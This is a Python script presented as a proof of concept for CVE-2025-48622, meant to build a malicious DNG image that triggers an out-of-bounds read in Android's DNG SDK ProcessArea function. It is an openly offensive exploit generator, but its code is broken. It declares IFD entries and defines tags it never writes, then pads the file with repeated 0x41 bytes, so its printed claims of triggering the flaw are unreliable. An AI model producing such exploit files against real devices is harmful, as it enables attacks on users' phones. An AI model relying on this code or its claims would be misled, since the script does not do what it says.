# CVE-2025-48622 PoC - Malicious DNG Image Triggering Out-of-Bounds Read
# This PoC demonstrates the vulnerability in dng_misc_opcodes.cpp ProcessArea function
# Note: This is a conceptual PoC for educational purposes only
import struct
import os
def create_malicious_dng():
"""
Create a malformed DNG image file to trigger the buffer overflow
in ProcessArea function of dng_misc_opcodes.cpp
"""
# DNG header structure
dng_header = bytearray()
# TIFF header (little-endian)
dng_header += struct.pack('<H', 0x4949) # Byte order: II (little-endian)
dng_header += struct.pack('<H', 42) # Magic number
dng_header += struct.pack('<I', 8) # Offset to first IFD
# IFD (Image File Directory)
num_entries = 12
dng_header += struct.pack('<H', num_entries)
# DNG tags that trigger ProcessArea processing
tags = [
(254, 4, 0), # NewSubFileType
(256, 4, 1000), # ImageWidth
(257, 4, 1000), # ImageLength
(258, 3, [16, 16, 16, 16]), # BitsPerSample
(259, 3, 1), # Compression (uncompressed)
(262, 3, 1), # PhotometricInterpretation
(270, 2, b"Created by PoC"), # ImageDescription
(271, 2, b"Vendor"), # Make
(272, 2, b"Model"), # Model
(273, 4, 1000), # StripOffsets
(278, 4, 1000), # RowsPerStrip
(282, 5, 0), # XResolution (placeholder)
]
# Craft malicious opcode data that triggers overflow
# This would be processed by ProcessArea in dng_misc_opcodes.cpp
malicious_opcode_data = bytearray()
# Opcode that causes buffer overflow when processed
# The ProcessArea function fails to validate buffer boundaries
for i in range(2000): # Exceed expected buffer size
malicious_opcode_data += struct.pack('<I', 0x41414141) # Padding to trigger overflow
# Write the PoC file
output_file = "CVE-2025-48622_poc.dng"
with open(output_file, 'wb') as f:
f.write(dng_header)
f.write(malicious_opcode_data)
print(f"[+] Created malicious DNG file: {output_file}")
print(f"[+] File size: {os.path.getsize(output_file)} bytes")
print("[*] When processed by Android DNG SDK, this file triggers OOB read in ProcessArea")
print("[*] Attack vector: Local access, Low privileges, No user interaction required")
return output_file
if __name__ == "__main__":
create_malicious_dng()